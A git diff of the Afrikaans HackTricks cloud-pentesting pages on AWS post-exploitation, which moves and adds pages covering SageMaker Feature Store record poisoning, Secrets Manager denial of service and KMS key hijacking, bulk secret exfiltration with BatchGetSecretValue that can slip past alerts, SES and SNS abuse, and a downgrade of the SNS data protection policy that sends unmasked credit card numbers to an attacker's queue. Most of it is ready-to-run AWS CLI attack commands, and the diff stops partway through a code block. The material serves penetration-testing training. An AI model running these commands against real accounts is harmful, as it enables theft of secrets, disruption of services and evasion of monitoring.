ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
```
|
||||
2) Voeg in/oorskryf 'n aanlyn rekord (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
3) Lees die rekord terug om die manipulasie te bevestig
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
Verwag: risk_score gee 0.99 (deur die aanvaller ingestel), wat die vermoë bewys om aanlyn-kenmerke wat deur modelle verbruik word, te verander.
|
||||
|
||||
## Impact
|
||||
- Real-time integriteitsaanval: manipuleer kenmerke wat deur produksie-modelle gebruik word sonder om endpunte/modelle aan te raak.
|
||||
- Konfidentialiteitsrisiko: lees sensitiewe kenmerke via GetRecord vanaf OnlineStore.
|
||||
-126
@@ -1,126 +0,0 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lees Secrets
|
||||
|
||||
Die **secrets self is sensitiewe inligting**, [sien die privesc bladsy](../aws-privilege-escalation/aws-secrets-manager-privesc.md) om te leer hoe om dit te lees.
|
||||
|
||||
### DoS: Verander Secret Value
|
||||
|
||||
Deur die waarde van die secret te verander kan jy **DoS al die stelsels wat van daardie waarde afhanklik is.**
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat vorige waardes ook gestoor word, so dit is maklik om net terug te gaan na die vorige waarde.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
As die aanvaller die secretsmanager:UpdateSecret permission het, kan hulle die geheim konfigureer om 'n KMS key te gebruik wat deur die aanvaller besit word. Daardie key word aanvanklik so opgestel dat enigiemand daartoe toegang kan kry en dit kan gebruik, so dit is moontlik om die geheim met die nuwe key by te werk. As die key nie toeganklik was nie, sou die geheim nie bygewerk kon word nie.
|
||||
|
||||
Nadat die key vir die geheim verander is, wysig die aanvaller die konfigurasie van hulle key sodat net hulle daartoe toegang het. Op hierdie manier sal toekomstige weergawes van die geheim met die nuwe key versleuteld word, en aangesien daar geen toegang daartoe is nie, sal die vermoë om die geheim op te vra verlore wees.
|
||||
|
||||
Dit is belangrik om op te let dat hierdie ontoeganklikheid slegs in latere weergawes sal voorkom, nadat die inhoud van die geheim verander het, aangesien die huidige weergawe nog steeds met die oorspronklike KMS key versleuteld is.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Deleting Secret
|
||||
|
||||
Die minimum aantal dae om 'n secret te verwyder, is 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Dit is moontlik om 'n geheim te herstel, wat die herstel van geheime wat vir verwydering geskeduleer is toelaat, aangesien die minimum verwyderingsperiode vir geheime 7 dae en die maksimum 30 dae is. Saam met die secretsmanager:GetSecretValue-toestemming maak dit moontlik om hul inhoud te verkry.
|
||||
|
||||
Om 'n geheim te herstel wat in die proses is om verwyder te word, kan jy die volgende opdrag gebruik:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Hierdie aksie laat toe om die resource policy wat beheer wie toegang tot 'n secret het, te verwyder. Dit kan lei tot 'n DoS as die resource policy gekonfigureer was om toegang aan 'n spesifieke groep gebruikers toe te staan.
|
||||
|
||||
Om die resource policy te verwyder:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Die state van 'n secret word gebruik om weergawes van 'n secret te bestuur. AWSCURRENT merk die aktiewe weergawe wat toepassings gebruik, AWSPREVIOUS hou die vorige weergawe sodat jy kan terugrol indien nodig, en AWSPENDING word in die rotasieproses gebruik om 'n nuwe weergawe voor te berei en te valideer voordat dit die huidige een gemaak word.
|
||||
|
||||
Toepassings lees altyd die weergawe met AWSCURRENT. As iemand daardie etiket na die verkeerde weergawe skuif, sal die apps ongeldige inlogbewyse gebruik en kan misluk.
|
||||
|
||||
AWSPREVIOUS word nie outomaties gebruik nie. As AWSCURRENT egter verwyder of verkeerd heraangewys word, kan dit lyk asof alles steeds met die vorige weergawe loop.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
|
||||
|
||||
Misbruik die Secrets Manager BatchGetSecretValue API om tot 20 geheime in 'n enkele versoek te kry. Dit kan die aantal API-oproepe drasties verminder vergeleke met die herhaalde gebruik van GetSecretValue vir elke geheim. As filters gebruik word (tags/name), is secretsmanager:ListSecrets-permissie ook nodig. CloudTrail registreer steeds een GetSecretValue-gebeurtenis per geheim wat in die batch onttrek is.
|
||||
|
||||
Vereiste permissies
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue vir elke teikengeheim
|
||||
- secretsmanager:ListSecrets (nodig as --filters gebruik word)
|
||||
- kms:Decrypt op die CMKs wat deur die geheime gebruik word (as jy nie aws/secretsmanager gebruik nie)
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat die permissie `secretsmanager:BatchGetSecretValue` op sigself nie voldoende is om geheime te onttrek nie; jy het ook `secretsmanager:GetSecretValue` nodig vir elke geheim wat jy wil onttrek.
|
||||
|
||||
Exfiltrate by explicit list
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate deur filters (tag key/value or name prefix)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Hantering van gedeeltelike mislukkings
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Impact
|
||||
- Vinnige “smash-and-grab” van baie secrets met minder API-oproepe, wat moontlik waarskuwings wat op pieke van GetSecretValue ingestel is, kan omseil.
|
||||
- CloudTrail logs sluit steeds een GetSecretValue-gebeurtenis per secret in wat deur die batch opgehaal is.
|
||||
+130
@@ -0,0 +1,130 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Secrets
|
||||
|
||||
Die **secrets self is sensitiewe inligting**, [sien die privesc-blad](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) om te leer hoe om dit te lees.
|
||||
|
||||
### DoS Change Secret Value
|
||||
|
||||
Deur die waarde van die secret te verander, kan jy **DoS al die stelsels wat van daardie waarde afhanklik is.**
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat vorige waardes ook gestoor word, so is dit maklik om net terug te keer na die vorige waarde.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
As die aanvaller die secretsmanager:UpdateSecret-toestemming het, kan hulle die geheim so konfigureer dat dit 'n KMS key gebruik wat deur die aanvaller besit word. Daardie key is aanvanklik so ingestel dat enigiemand toegang daartoe kan kry en dit kan gebruik, dus is dit moontlik om die geheim met die nuwe key by te werk. As die key nie toeganklik was nie, kon die geheim nie bygewerk word nie.
|
||||
|
||||
Na die verandering van die key vir die geheim, wysig die aanvaller die konfiguratie van hul key sodat slegs hulle daartoe toegang het. Op hierdie manier sal toekomstige weergawes van die geheim met die nuwe key versleuteld word, en aangesien daar geen toegang daartoe is nie, sal die vermoë om die geheim te verkry verlore gaan.
|
||||
|
||||
Dit is belangrik om daarop te let dat hierdie ontoeganklikheid slegs in latere weergawes sal voorkom, nadat die inhoud van die geheim verander, want die huidige weergawe is nog steeds versleuteld met die oorspronklike KMS key.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Verwydering van geheim
|
||||
|
||||
Die minimum aantal dae om 'n geheim te verwyder is 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Dit is moontlik om 'n geheim te herstel, wat die herstel van geheime wat vir verwydering geskeduleer is, toelaat, aangesien die minimum verwyderingsperiode vir geheime 7 dae is en die maksimum 30 dae. Saam met die secretsmanager:GetSecretValue-permissie maak dit moontlik om hul inhoud te verkry.
|
||||
|
||||
Om 'n geheim wat in die proses van verwydering is te herstel, kan jy die volgende opdrag gebruik:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Hierdie aksie laat toe om die resource policy wat beheer wie toegang tot 'n secret het, te verwyder. Dit kan tot 'n DoS lei as die resource policy gekonfigureer was om toegang aan 'n spesifieke groep gebruikers toe te laat.
|
||||
|
||||
Om die resource policy te verwyder:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Die statusse van ’n geheim word gebruik om weergawes daarvan te bestuur. AWSCURRENT merk die aktiewe weergawe wat toepassings gebruik, AWSPREVIOUS hou die vorige weergawe sodat jy indien nodig kan terugrol, en AWSPENDING word in die rotasieproses gebruik om ’n nuwe weergawe voor te berei en te valideer voordat dit die huidige gemaak word.
|
||||
|
||||
Toepassings lees altyd die weergawe met AWSCURRENT. As iemand daardie etiket na die verkeerde weergawe skuif, sal die toepassings ongeldige geloofsbriewe gebruik en kan misluk.
|
||||
|
||||
AWSPREVIOUS word nie outomaties gebruik nie. Indien AWSCURRENT egter verwyder of verkeerd toegewys word, kan dit voorkom asof alles steeds met die vorige weergawe loop.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
|
||||
|
||||
Misbruik die Secrets Manager BatchGetSecretValue API om tot 20 geheime in 'n enkele versoek te bekom. Dit kan API-oproepvolume drasties verminder in vergelyking met om GetSecretValue per geheim te herhaal. As filters gebruik word (tags/name), is ListSecrets-permissie ook benodig. CloudTrail neem steeds een GetSecretValue-gebeurtenis op per geheim wat in die groep teruggehaal word.
|
||||
|
||||
Vereiste permissies
|
||||
- `secretsmanager:BatchGetSecretValue`
|
||||
- `secretsmanager:GetSecretValue` vir elke teiken-geheim
|
||||
- `secretsmanager:ListSecrets` indien `--filters` gebruik word
|
||||
- `kms:Decrypt` op die CMKs wat deur die geheime gebruik word (as nie `aws/secretsmanager` gebruik word nie)
|
||||
|
||||
> [!WARNING]
|
||||
> Neem kennis dat die toestemming `secretsmanager:BatchGetSecretValue` op sigself nie voldoende is om geheime te verkry nie; jy benodig ook `secretsmanager:GetSecretValue` vir elke geheim wat jy wil verkry.
|
||||
|
||||
Exfiltrate by explicit list
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate deur filters (tag key/value of naamvoorvoegsel)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Omgaan met gedeeltelike mislukkings
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Impak
|
||||
- Vinnige “smash-and-grab” van baie geheime met minder API-oproepe, wat waarskuwings wat afgestel is op pieke van GetSecretValue potensieel kan omseil.
|
||||
- CloudTrail-logboeke bevat steeds een GetSecretValue-gebeurtenis per geheim wat deur die bondel opgehaal is.
|
||||
+16
-10
@@ -1,13 +1,13 @@
|
||||
# AWS - SES Post Exploitatie
|
||||
# AWS - SES Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SES
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ses-enum.md
|
||||
../../aws-services/aws-ses-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `ses:SendEmail`
|
||||
@@ -17,7 +17,7 @@ Stuur 'n e-pos.
|
||||
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
```
|
||||
Nog om te toets.
|
||||
Nog te toets.
|
||||
|
||||
### `ses:SendRawEmail`
|
||||
|
||||
@@ -25,19 +25,23 @@ Stuur 'n e-pos.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
Nog om te toets.
|
||||
|
||||
### `ses:SendTemplatedEmail`
|
||||
|
||||
Stuur 'n e-pos gebaseer op 'n sjabloon.
|
||||
```bash
|
||||
aws ses send-templated-email --source <value> --destination <value> --template <value>
|
||||
```
|
||||
Nog te toets.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
Stuur 'n e-pos na verskeie bestemmings
|
||||
```bash
|
||||
aws ses send-bulk-templated-email --source <value> --template <value>
|
||||
```
|
||||
Nog om te toets.
|
||||
Nog te toets.
|
||||
|
||||
### `ses:SendBulkEmail`
|
||||
|
||||
@@ -47,17 +51,19 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
### `ses:SendBounce`
|
||||
|
||||
Stuur 'n **terugstuur e-pos** oor 'n ontvangde e-pos (wat aandui dat die e-pos nie ontvang kon word nie). Dit kan slegs **tot 24 uur na ontvangs** van die e-pos gedoen word.
|
||||
Stuur 'n **bounce email** oor 'n ontvangde e-pos (wat aandui dat die e-pos nie afgelewer kon word nie). Dit kan slegs **tot 24h na ontvangs** van die e-pos gedoen word.
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
Nog te toets.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
Dit sal 'n aangepaste verifikasie-e-pos stuur. Jy mag dalk ook toestemmings nodig hê om die sjabloon-e-pos te skep.
|
||||
Dit sal 'n aangepaste verifikasie-e-pos stuur. Jy mag dalk ook toestemming nodig hê om die sjabloon-e-pos te skep.
|
||||
```bash
|
||||
aws ses send-custom-verification-email --email-address <value> --template-name <value>
|
||||
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
|
||||
```
|
||||
Nog om te toets.
|
||||
Nog te toets.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,68 +0,0 @@
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Vir meer inligting:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ontwrigt Berigte
|
||||
|
||||
In verskeie gevalle word SNS onderwerpe gebruik om boodskappe na platforms te stuur wat gemonitor word (e-pos, slack boodskappe...). As 'n aanvaller die sending van die boodskappe wat oor sy teenwoordigheid in die wolk waarsku, kan voorkom, kan hy onopgemerk bly.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
'n Aanvaller kan 'n hele SNS onderwerp verwyder, wat boodskapverlies veroorsaak en toepassings wat op die onderwerp staatmaak, beïnvloed.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Potensiële Impak**: Boodskapverlies en diensonderbreking vir toepassings wat die verwyderde onderwerp gebruik.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SNS onderwerp stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan ontketen, of hulpbronne kan uitput.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Potensiële Impak**: Gegevensbesoedeling, onbedoelde aksies, of hulpbronuitputting.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
'n Aanvaller kan die eienskappe van 'n SNS-tema verander, wat moontlik die prestasie, sekuriteit of beskikbaarheid daarvan kan beïnvloed.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
**Potensiële Impak**: Misconfigurasies wat lei tot verminderde prestasie, sekuriteitskwessies, of verminderde beskikbaarheid.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
'n Aanvaller kan op 'n SNS-tema inteken of uitskakel, wat moontlik ongeoorloofde toegang tot boodskappe kan verkry of die normale funksionering van toepassings wat op die tema staatmaak, kan ontwrig.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Potensiële Impak**: Onbevoegde toegang tot boodskappe, diensonderbreking vir toepassings wat op die betrokke onderwerp staatmaak.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
'n Aanvaller kan onbevoegde gebruikers of dienste toegang tot 'n SNS-onderwerp verleen, of toestemmings vir wettige gebruikers intrek, wat onderbrekings in die normale funksionering van toepassings wat op die onderwerp staatmaak, veroorsaak.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerp manipulasie deur onbevoegde gebruikers of dienste, ontwrigting van normale funksionering vir toepassings wat op die onderwerp staatmaak.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
'n Aanvaller kan etikette byvoeg, wysig of verwyder van SNS hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing, en toegangbeheerbeleide gebaseer op etikette ontwrig.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Vir meer inligting:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ontwrig boodskappe
|
||||
|
||||
In verskeie gevalle word SNS-onderwerpe gebruik om boodskappe na platforms te stuur wat gemonitor word (e-posse, Slack-boodskappe...). As 'n aanvaller verhinder dat die boodskappe wat oor sy teenwoordigheid in die cloud waarsku, gestuur word, kan hy ongemerk bly.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
'n Aanvaller kan 'n hele SNS topic verwyder, wat tot boodskapverlies lei en toepassings wat op die topic staatmaak, benadeel.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Potensiële impak**: Boodskapverlies en diensonderbreking vir toepassings wat die verwyderde topic gebruik.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SNS topic stuur, wat moontlik datakorrupsie veroorsaak, onbedoelde aksies aktiveer, of hulpbronne uitput.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Potensiële impak**: Datakorrupsie, onbedoelde optrede, of uitputting van hulpbronne.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
'n aanvaller kan die eienskappe van 'n SNS topic wysig, wat moontlik die prestasie, sekuriteit of beskikbaarheid daarvan beïnvloed.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
**Potensiële impak**: Konfigurasiefoute wat kan lei tot verminderde prestasie, sekuriteitsprobleme of verminderde beskikbaarheid.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
'n aanvaller kan op 'n SNS topic inteken of intekening kanselleer, wat moontlik onbevoegde toegang tot boodskappe verleen of die normale werking van toepassings wat op die topic staatmaak ontwrig.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Potensiële impak**: Ongeoorloofde toegang tot boodskappe, diensonderbreking vir toepassings wat op die betrokke onderwerp staatmaak.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
'n Aanvaller kan ongeoorloofde gebruikers of dienste toegang tot 'n SNS-onderwerp verleen, of toestemmings vir legitieme gebruikers intrek, wat ontwrigting veroorsaak in die normale werking van toepassings wat op die onderwerp staatmaak.
|
||||
```bash
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Potensiële impak**: Ongeoorloofde toegang tot die topic, blootstelling van boodskappe, of manipulering van die topic deur onbevoegde gebruikers of dienste, ontwrigting van die normale werking vir toepassings wat op die topic staatmaak.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
'n aanvaller kan tags by SNS-hulpbronne voeg, wysig of verwyder, wat jou organisasie se koste-toewysing, hulpbronopsporing en toegangskontrolebeleide wat op tags gebaseer is, kan ontwrig.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Potensiële impak**: Versteuring van koste-toewysing, hulpbronopsporing en tag-gebaseerde toegangsbeheerbeleide.
|
||||
|
||||
### Meer SNS Post-Exploitation Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-data-protection-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-fifo-replay-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-firehose-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+92
@@ -0,0 +1,92 @@
|
||||
# AWS - SNS Message Data Protection Bypass via Policy Downgrade
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
As jy `sns:PutDataProtectionPolicy` op 'n topic het, kan jy die Message Data Protection policy van Deidentify/Deny na Audit-only omskakel (of Outbound-beheer verwyder) sodat sensitiewe waardes (bv. kredietkaartnommers) onveranderd aan jou subscription gestuur word.
|
||||
|
||||
## Vereistes
|
||||
- Machtigings op die teiken topic om `sns:PutDataProtectionPolicy` aan te roep (en gewoonlik `sns:Subscribe` as jy die data wil ontvang).
|
||||
- Standaard SNS topic (Message Data Protection word ondersteun).
|
||||
|
||||
## Aanvalsstappe
|
||||
|
||||
- Veranderlikes
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
```
|
||||
|
||||
1) Skep 'n standaard topic en 'n aanvaller SQS queue, en staan slegs hierdie topic toe om na die queue te stuur
|
||||
|
||||
```bash
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
|
||||
```
|
||||
|
||||
2) Koppel 'n data protection policy wat kredietkaartnommers op Outbound-boodskappe maskeer
|
||||
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-policy.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "MaskCCOutbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Outbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
|
||||
```
|
||||
|
||||
3) Abonneer die aanvaller-queue en publiseer 'n boodskap met 'n toets kredietkaartnommer, en verifieer die maskeering
|
||||
|
||||
```bash
|
||||
